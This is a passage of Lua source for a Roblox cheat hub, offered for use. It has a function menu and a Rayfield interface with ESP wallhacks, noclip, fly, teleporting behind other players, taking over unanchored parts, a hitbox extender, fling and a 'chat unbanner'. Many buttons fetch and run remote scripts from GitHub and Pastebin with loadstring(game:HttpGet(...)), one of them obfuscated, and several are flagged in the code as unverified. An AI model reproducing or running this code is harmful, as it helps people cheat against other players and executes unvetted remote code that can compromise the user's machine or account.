coroutine.wrap(WHTXC_fake_script)()
end, "General", "NOT FE")
FunctionManager:register("Bind Key", function()
if bindFrame then return end
local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die)
if not gui then NotifyERROR("Gui not found!"); return end
screenGui = gui
bindFrame = Instance.new("Frame")
bindFrame.Name = generate_string(math_random(1, 10))
bindFrame.Size = UDim2.new(1,0,1,0)
bindFrame.BackgroundColor3 = Color3.new(0,0,0)
bindFrame.BackgroundTransparency = 0.5
bindFrame.ZIndex = 50
bindFrame.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = generate_string(math_random(1, 10))
panel.Size = UDim2.new(0, 300, 0, 400)
panel.Position = UDim2.new(0.5, -150, 0.5, -200)
panel.BackgroundColor3 = Color3.fromRGB(35,35,35)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = bindFrame
local closeBtn = Instance.new("TextButton")
closeBtn.Size = UDim2.new(0, 60, 0, 24)
closeBtn.Position = UDim2.new(1, -64, 0, 4)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
bindFrame:Destroy()
bindFrame = nil
if bindConn then bindConn:Disconnect(); bindConn = nil end
end)
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -8, 0, 24)
title.Position = UDim2.new(0, 4, 0, 4)
title.BackgroundTransparency = 1
title.Font = Enum.Font.SourceSansBold
title.TextSize = 18
title.TextColor3 = Color3.new(1,1,1)
title.Text = "Bind Key to Function"
title.ZIndex = 52
title.Parent = panel
local list = Instance.new("ScrollingFrame")
list.Size = UDim2.new(1, -8, 1, -40)
list.Position = UDim2.new(0, 4, 0, 32)
list.CanvasSize = UDim2.new(0,0,0,0)
list.ScrollBarThickness = 6
list.ZIndex = 51
list.Parent = panel
local uiList = Instance.new("UIListLayout")
uiList.Padding = UDim.new(0,4)
uiList.SortOrder = Enum.SortOrder.LayoutOrder
uiList.Parent = list
local function refreshList()
for _, child in ipairs(list:GetChildren()) do
if child:IsA("TextButton") or child:IsA("TextLabel") then
child:Destroy()
end
end
for _, cat in ipairs(FunctionManager.Categories) do
local hdr = Instance.new("TextLabel")
hdr.Size = UDim2.new(1,0,0,24)
hdr.BackgroundTransparency = 1
hdr.Font = Enum.Font.SourceSansBold
hdr.TextSize = 16
hdr.TextColor3 = Color3.new(1,1,0)
hdr.Text = "["..cat.."]"
hdr.ZIndex = 51
hdr.Parent = list
for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1,0,0,24)
btn.Font = Enum.Font.SourceSans
btn.TextSize = 14
btn.BackgroundColor3 = Color3.fromRGB(50,50,50)
btn.TextColor3 = Color3.new(1,1,1)
btn.ZIndex = 51
local bound = {}
for key, fn in pairs(customBinds) do
if fn == cb then table.insert(bound, tostring(key)) end
end
local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or ""
btn.Text = name..suffix
btn.Parent = list
btn.MouseButton1Click:Connect(function()
waitingBindFunction = { cb = cb, btn = btn, name = name }
btn.Text = name.." → [Press a key]"
end)
end
end
list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8)
end
bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed or not waitingBindFunction then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
customBinds[input.KeyCode] = waitingBindFunction.cb
waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")"
waitingBindFunction = nil
end
end)
refreshList()
end, "Utility", "BUGGED")
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
local fn = customBinds[input.KeyCode]
if fn and type(fn) == "function" then
pcall(fn)
end
end
end)
FunctionManager:register("JumpUp", function()
local char = Player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end
end, "Movement", "Leap into the air!")
FunctionManager:register("Sit", function()
local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid")
if hum then hum.Sit = true end
end, "Movement", "SIT DOWN")
FunctionManager:register("INF JUMP", function()
infJumpEnabled = not infJumpEnabled
if infJumpEnabled then
local debounce = false
infJumpConnection = UserInputService.JumpRequest:Connect(function()
if debounce then return end
debounce = true
local character = Player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
task.wait()
debounce = false
end)
else
if infJumpConnection then
infJumpConnection:Disconnect()
infJumpConnection = nil
end
end
end, "Movement", "Jump Forever!")
FunctionManager:register("WalkSpeed Slider", function()
if screenGui:FindFirstChild("WalkSpeedModal") then return end
local overlay = Instance.new("Frame")
overlay.Name = "WalkSpeedModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "SliderPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minS, maxS = 8, 100
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minS + (maxS-minS)*rel)
Humanoid.WalkSpeed = v
label.Text = "WalkSpeed: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your walkspeed!")
FunctionManager:register("Server Hop", function()
local success, res = pcall(function()
return game:HttpGet(
"https://games.roblox.com/v1/games/" ..
PlaceId ..
"/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true"
)
end)
if not success then
return NotifyERROR("[Server Hop] HTTP request failed")
end
local body
local ok, err = pcall(function()
body = HttpService:JSONDecode(res)
end)
if not ok or type(body) ~= "table" or type(body.data) ~= "table" then
return NotifyERROR("[Server Hop] Invalid JSON response")
end
local servers = {}
for _, v in ipairs(body.data) do
if type(v) == "table"
and tonumber(v.playing)
and tonumber(v.maxPlayers)
and v.playing < v.maxPlayers
and v.id ~= JobId then
table.insert(servers, v.id)
end
end
if #servers == 0 then
return NotifyERROR("[Server Hop] No available servers found")
end
local choice = servers[math.random(1, #servers)]
TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer)
end, "Utility","Changes Servers")
FunctionManager:register("TP Behind Closest", function()
if not HRP then
NotifyERROR("No HumanoidRootPart found.")
return
end
local closestPlayer
local shortestDistance = math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local distance = (otherRoot.Position - HRP.Position).Magnitude
if distance < shortestDistance then
shortestDistance = distance
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3
local newCFrame = CFrame.new(behindPosition, targetRoot.Position)
HRP.CFrame = newCFrame
end
else
NotifyERROR("No nearby player found.")
end
end, "Movement", "Owai moi, shinderu. NANI?")
FunctionManager:register("Scare Closest Player", function()
if not HRP then
NotifyERROR("Could not find your HumanoidRootPart.")
return
end
local closestPlayer, closestDistance = nil, math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local dist = (otherRoot.Position - HRP.Position).Magnitude
if dist < closestDistance then
closestDistance = dist
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local oldPos = HRP.CFrame
HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2
HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position)
task.wait(0.5)
HRP.CFrame = oldPos
end
else
NotifyERROR("No target player nearby.")
end
end, "Fun", "FNAF reference")
FunctionManager:register("ESP Toggle", function()
espOn = not espOn
for _, plr in ipairs(Players:GetPlayers()) do
if plr.Character and plr ~= Player then
local head = plr.Character:FindFirstChild("Head")
if head then
local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head)
bb.Name = "ESP"
bb.Size = UDim2.new(0,80,0,20)
bb.AlwaysOnTop = true
local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb)
lbl.Name = "Name"
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1,0,1,0)
lbl.TextColor3 = Color3.new(1,0,0)
lbl.TextScaled = true
lbl.Text = plr.Name
bb.Enabled = espOn
end
end
end
Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3)
end, "Visual", "ur cooked i just got wallhacks")
FunctionManager:register("JumpPowerSlider", function()
if screenGui:FindFirstChild("JumpPowerModal") then return end
Humanoid.UseJumpPower = true
local overlay = Instance.new("Frame")
overlay.Name = "JumpPowerModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "JumpPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minJ, maxJ = 50, 200
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minJ + (maxJ-minJ)*rel)
Humanoid.JumpPower = v
label.Text = "JumpPower: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your jumppower")
FunctionManager:register("Spin Bot", function()
spinOn = not spinOn
if spinOn then
if not HRP then return NotifyERROR("No HRP!") end
lockBP = Instance.new("BodyPosition")
lockBP.Name = "SpinLockBP"
lockBP.Position = HRP.Position
lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6)
lockBP.P = 1e5
lockBP.D = 0
lockBP.Parent = HRP
spinBAV = Instance.new("BodyAngularVelocity")
spinBAV.Name = "SpinBAV"
spinBAV.AngularVelocity = Vector3.new(0, 10000, 0)
spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6)
spinBAV.P = 1e5
spinBAV.Parent = HRP
NotifyERROR("Spin Bot On")
else
if spinBAV then
spinBAV:Destroy()
spinBAV = nil
end
if lockBP then
lockBP:Destroy()
lockBP = nil
end
NotifyERROR("Spin Bot Off")
end
end, "Visual", "Speeeeen")
FunctionManager:register("TP To Mouse", function()
if hit then
HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0))
warn("Teleported to mouse")
end
end, "Movement", "BUGGED")
FunctionManager:register("Save Position", function()
savedCFrame = HRP.CFrame
Notify("Position Saved", "SYSTEM", 3)
end, "Utility", "Checkpoint")
FunctionManager:register("Load Position", function()
if savedCFrame then
HRP.CFrame = savedCFrame
Notify("Position Loaded", "SYSTEM", 3)
else
NotifyERROR("No Position Saved")
end
end, "Utility", "Reload")
FunctionManager:register("No‑Clip", function()
noclipOn = not noclipOn
if noclipOn then
hoverHeight = HRP.Position.Y
while noclipOn == true do
task.wait(0.01)
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
local pos = HRP.Position
HRP.CFrame = CFrame.new(pos.X, hoverHeight, pos.Z)
end
Notify("No‑Clip ON (locked at height)", "SYSTEM", 3)
else
for _, part in ipairs(Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
Notify("No‑Clip OFF", "SYSTEM", 3)
end
end, "Movement", "NOCLIP")
FunctionManager:register("DarkDex", function()
--Maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua", true))()
end, "General", "Take a peek under the hood")
FunctionManager:register("SimpleSpy", function()
--also maybe works?
loadstring(game:HttpGet("https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua"))()
end, "Catch remotes")
FunctionManager:register("Orbit All Nearby Parts", function()
local radius = 20
local height = 3
local orbitSpeed = 2
local speaker = Players.LocalPlayer
local character = speaker.Character or speaker.CharacterAdded:Wait()
local root = character:FindFirstChild("HumanoidRootPart")
if not root then
NotifyERROR("No HumanoidRootPart found.")
return
end
local origin = root.Position
local orbitParts = {}
for _, part in ipairs(workspace:GetDescendants()) do
if part:IsA("BasePart") and not part.Anchored and not part:IsDescendantOf(workspace.Terrain) then
local isInCharacter = false
for _, player in ipairs(Players:GetPlayers()) do
local char = player.Character
if char and part:IsDescendantOf(char) then
isInCharacter = true
break
end
end
if not isInCharacter and (part.Position - origin).Magnitude <= radius then
if not CollectionService:HasTag(part, "OrbitPart") then
if part:CanSetNetworkOwnership() then
part:SetNetworkOwner(speaker)
else
warn("Cannot set network owner for part:", part.Name)
end
part.CanCollide = false
CollectionService:AddTag(part, "OrbitPart")
table.insert(orbitParts, part)
end
end
end
end
if #orbitParts == 0 then
warn("No parts found for orbit.")
return
end
local angleOffset = 2 * math.pi / #orbitParts
for i, part in ipairs(orbitParts) do
local angle = angleOffset * i
local startPos = root.Position + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
part.Position = startPos
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.MaxTorque = Vector3.new(1e5, 1e5, 1e5)
bodyGyro.P = 1e4
bodyGyro.CFrame = CFrame.new(part.Position, root.Position)
bodyGyro.Parent = part
local bodyVel = Instance.new("BodyVelocity")
bodyVel.MaxForce = Vector3.new(1e5, 1e5, 1e5)
bodyVel.P = 1e4
bodyVel.Parent = part
local conn
conn = RunService.Heartbeat:Connect(function(dt)
if not root or not root.Parent then
conn:Disconnect()
return
end
angle += orbitSpeed * dt
local orbitCenter = root.Position
local orbitPoint = orbitCenter + Vector3.new(
math.cos(angle) * radius,
height,
math.sin(angle) * radius
)
local tangent = Vector3.new(
-math.sin(angle),
0,
math.cos(angle)
).Unit * orbitSpeed * radius
bodyVel.Velocity = tangent
bodyGyro.CFrame = CFrame.new(part.Position, orbitCenter)
part.Position = orbitPoint
end)
end
warn("Orbiting", #orbitParts, "parts around you.")
end, "Fun", "You have to be near the parts for a while for it to work")
local function toggleInvisibility()
if invisRunning then return end
invisRunning = true
local player = Players.LocalPlayer
repeat task.wait(0.1) until player.Character
local originalChar = player.Character
originalChar.Archivable = true
local invisibleChar = originalChar:Clone()
invisibleChar.Name = ""
invisibleChar.Parent = Lighting
-- clone transparency
for _, part in ipairs(invisibleChar:GetDescendants()) do
if part:IsA("BasePart") then
part.Transparency = (part.Name == "HumanoidRootPart") and 1 or 0.5
end
end
-- we’ll need these in nested functions:
local isInvis = false
local voidConn, deathConn, steppedConn
-- Respawn helper (puts you back to originalChar)
local function Respawn()
invisRunning = false
if steppedConn then steppedConn:Disconnect() end
if deathConn then deathConn:Disconnect() end
player.Character = originalChar
originalChar.Parent = workspace
-- destroy the extra humanoid
local clonedHum = originalChar:FindFirstChildWhichIsA("Humanoid")
if clonedHum then clonedHum:Destroy() end
invisibleChar.Parent = nil
end
-- fix for falling through the void
local voidY = workspace.FallenPartsDestroyHeight
steppedConn = RunService.Stepped:Connect(function()
local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
if not hrp then return end
local y = hrp.Position.Y
if (voidY < 0 and y <= voidY) or (voidY >= 0 and y >= voidY) then
Respawn()
end
end)
-- if cloned character dies
local clonedHum = invisibleChar:FindFirstChildWhichIsA("Humanoid")
deathConn = clonedHum.Died:Connect(Respawn)
-- now swap them
local camCF = workspace.CurrentCamera.CFrame
local hrpCF = originalChar.HumanoidRootPart.CFrame
originalChar:MoveTo(Vector3.new(0, math.pi*1e6, 0))
workspace.CurrentCamera.CameraType = Enum.CameraType.Scriptable
task.wait(0.2)
workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
invisibleChar.Parent = workspace
invisibleChar.HumanoidRootPart.CFrame = hrpCF
player.Character = invisibleChar
-- re‑enable animations
for _, a in ipairs(player.Character:GetDescendants()) do
if a.Name == "Animate" and a:IsA("Model") then
a.Disabled = true; a.Disabled = false
end
end
workspace.CurrentCamera:remove()
wait(.1)
repeat wait() until player.Character ~= nil
workspace.CurrentCamera.CameraSubject = player.Character:FindFirstChildWhichIsA('Humanoid')
workspace.CurrentCamera.CameraType = "Custom"
player.CameraMinZoomDistance = 0.5
player.CameraMaxZoomDistance = 400
player.CameraMode = "Classic"
player.Character.Head.Anchored = false
player.Character.Animate.Enabled = false
player.Character.Animate.Enabled = true
Notify("You are now invisible!", "System", 3)
end
FunctionManager:register(
"Invisible",
toggleInvisibility,
"Fun",
"Make your character invisible until you respawn or die"
)
FunctionManager:register("Fly", function()
if not HRP then
warn("No HumanoidRootPart found; cannot fly.")
return
end
flyingEnabled = not flyingEnabled
if flyingEnabled then
flyBG = Instance.new("BodyGyro")
flyBG.P = 9e4
flyBG.MaxTorque = Vector3.new(9e4, 9e4, 9e4)
flyBG.CFrame = HRP.CFrame
flyBG.Parent = HRP
flyBV = Instance.new("BodyVelocity")
flyBV.MaxForce = Vector3.new(9e4, 9e4, 9e4)
flyBV.Velocity = Vector3.new(0, 0, 0)
flyBV.Parent = HRP
flyConn = RunService.Heartbeat:Connect(function()
local camCFrame = workspace.CurrentCamera.CFrame
local dir = Vector3.new()
if UserInputService:IsKeyDown(Enum.KeyCode.W) then
dir = dir + camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.S) then
dir = dir - camCFrame.LookVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.A) then
dir = dir - camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.D) then
dir = dir + camCFrame.RightVector
end
if UserInputService:IsKeyDown(Enum.KeyCode.Space) then
dir = dir + Vector3.new(0, 1, 0)
end
if UserInputService:IsKeyDown(Enum.KeyCode.LeftControl) then
dir = dir - Vector3.new(0, 1, 0)
end
if dir.Magnitude > 0 then
dir = dir.Unit * 50
end
flyBV.Velocity = dir
flyBG.CFrame = CFrame.new(HRP.Position, HRP.Position + camCFrame.LookVector)
end)
else
if flyConn then flyConn:Disconnect() flyConn = nil end
if flyBG then flyBG:Destroy() flyBG = nil end
if flyBV then flyBV:Destroy() flyBV = nil end
end
end, "Movement", "Fly around!")
FunctionManager:register("HatHub", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/inkdupe/hat-scripts/refs/heads/main/updatedhathub.lua"))()
end, "Troll", "Credits to original maker!")
FunctionManager:register("Hitbox Extender", function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/AAPVdev/scripts/refs/heads/main/UI_LimbExtender.lua'))()
end, "Troll", "Extends hitboxes")
FunctionManager:register("Part Grab", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/v0c0n1337/scripts/refs/heads/main/Unachored_parts_controller_v2.lua.txt"))()
end, "Troll", "Much better part grab")
FunctionManager:register("Hat Script", function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ocfi/Scp-096-Obfuscated/refs/heads/main/obuf"))()
end, "Troll", "HATS")
FunctionManager:register("PART ORBIT", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aZjaAr6F", true))()
end, "Troll", "Probs better orbit")
FunctionManager:register("chat unbanner", function()
loadstring(game:HttpGet("https://pastebin.com/raw/aDFhvMC4", true))()
end, "Utility", "Credits to the original maker!")
FunctionManager:register("Fling GUI", function()
loadstring(game:HttpGet("https://pastebin.com/raw/VynRhxJV", true))()
end, "Troll", "Credits to the original maker!")
--init
updateGrid()
end)
end;
task.spawn(C_c);
-- StarterGui.ScreenGui.Frame3.TextButton.LocalScript
local function C_e()
local script = G2L["e"];
script.Parent.MouseButton1Click:Connect(function()
local Rayfield = loadstring(game:HttpGet('https://sirius.menu/rayfield'))()
local Window = Rayfield:CreateWindow({
Name = "📢Universal Scripts📢",
Icon = 0, -- Icon in Topbar. Can use Lucide Icons (string) or Roblox Image (number). 0 to use no icon (default).
LoadingTitle = "Universal Hub",
LoadingSubtitle = "by Lucas_cubing10",
ShowText = "Rayfield", -- for mobile users to unhide rayfield, change if you'd like
Theme = "Default", -- Check https://docs.sirius.menu/rayfield/configuration/themes
ToggleUIKeybind = "K", -- The keybind to toggle the UI visibility (string like "K" or Enum.KeyCode)
DisableRayfieldPrompts = false,
DisableBuildWarnings = false, -- Prevents Rayfield from warning when the script has a version mismatch with the interface
ConfigurationSaving = {
Enabled = true,
FolderName = nil, -- Create a custom folder for your hub/game
FileName = "znc13hub"
},
Discord = {
Enabled = true, -- Prompt the user to join your Discord server if their executor supports it
Invite = "QsFuTYYbRf", -- The Discord invite code, do not include discord.gg/. E.g. discord.gg/ ABCD would be ABCD
RememberJoins = true -- Set this to false to make them join the discord every time they load it up
},
KeySystem = false, -- Set this to true to use our key system
KeySettings = {
Title = "Untitled",
Subtitle = "Key System",
Note = "No method of obtaining the key is provided", -- Use this to tell the user how to get a key
FileName = "Key", -- It is recommended to use something unique as other scripts using Rayfield may overwrite your key file
SaveKey = true, -- The user's key will be saved, but if you change the key, they will be unable to use your script
GrabKeyFromSite = false, -- If this is true, set Key below to the RAW site you would like Rayfield to get the key from
Key = {"Hello"} -- List of keys that will be accepted by the system, can be RAW file links (pastebin, github etc) or simple strings ("hello","key22")
}
})
local MainTab = Window:CreateTab("🏠Home", nil) -- Title, Image
local MainSection = MainTab:CreateSection("Main")
Rayfield:Notify({
Title = "Loaded!",
Content = "The gui has loaded!",
Duration = 6.5,
Image = nil,
})
local Button = MainTab:CreateButton({
Name = "Infinite Jump",
Callback = function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local InfiniteJumpEnabled = true
game:GetService("UserInputService").JumpRequest:connect(function()
if InfiniteJumpEnabled then
game:GetService"Players".LocalPlayer.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping")
end
end)
end,
})
local Slider = MainTab:CreateSlider({
Name = "Walkspeed Slider",
Range = {0, 300},
Increment = 1,
Suffix = "Speed",
CurrentValue = 16,
Flag = "Slider1", -- A flag is the identifier for the configuration file, make sure every element has a different flag if you're using configuration saving to ensure no overlaps
Callback = function(Value)
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = (Value)
end,
})
local Button = MainTab:CreateButton({
Name = "c00lgui",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/MiRw3b/c00lgui-v3rx/main/c00lguiv3rx.lua"))()
end,
})
local Button = MainTab:CreateButton({
Name = "Shaders",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/randomstring0/pshade-ultimate/refs/heads/main/src/cd.lua'))()
end,
})
local Button = MainTab:CreateButton({
Name = "fe parkour script r6",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/elibp/fescripts/refs/heads/main/parkour"))()
end,
})
local Button = MainTab:CreateButton({
Name = "99 nights in a forest script",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/VapeVoidware/VW-Add/main/nightsintheforest.lua", true))()
end,
})
local Button = MainTab:CreateButton({
Name = "free fe r15 emotes",
Callback = function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Gazer-Ha/Free-emote/refs/heads/main/Delta%20mad%20stuffs"))()
end,
})
local Button = MainTab:CreateButton({
Name = "op brookhaven script",
Callback = function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/TheDarkoneMarcillisePex/Other-Scripts/main/Brook%20Haven%20Gui'))()
end,
})
local Button = MainTab:CreateButton({
Name = "backflip and frontflip script (z for frontflip andd x for backflip)",
Callback = function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
wait(5)
--[[ Info ]]--
local ver = "2.00"
local scriptname = "feFlip"
--[[ Keybinds ]]--
local FrontflipKey = Enum.KeyCode.Z
local BackflipKey = Enum.KeyCode.X
local AirjumpKey = Enum.KeyCode.C
--[[ Dependencies ]]--
local ca = game:GetService("ContextActionService")
local zeezy = game:GetService("Players").LocalPlayer
local h = 0.0174533
local antigrav
--[[ Functions ]]--
function zeezyFrontflip(act,inp,obj)
if inp == Enum.UserInputState.Begin then
zeezy.Character.Humanoid:ChangeState("Jumping")
wait()
zeezy.Character.Humanoid.Sit = true
for i = 1,360 do
delay(i/720,function()
zeezy.Character.Humanoid.Sit = true
zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(-h,0,0)
end)
end
wait(0.55)
zeezy.Character.Humanoid.Sit = false
end
end
function zeezyBackflip(act,inp,obj)
if inp == Enum.UserInputState.Begin then
zeezy.Character.Humanoid:ChangeState("Jumping")
wait()
zeezy.Character.Humanoid.Sit = true
for i = 1,360 do
delay(i/720,function()
zeezy.Character.Humanoid.Sit = true
zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(h,0,0)
end)
end
wait(0.55)
zeezy.Character.Humanoid.Sit = false
end
end
function zeezyAirjump(act,inp,obj)
if inp == Enum.UserInputState.Begin then
zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Seated")
wait()
zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping")
end
end
--[[ Binds ]]--
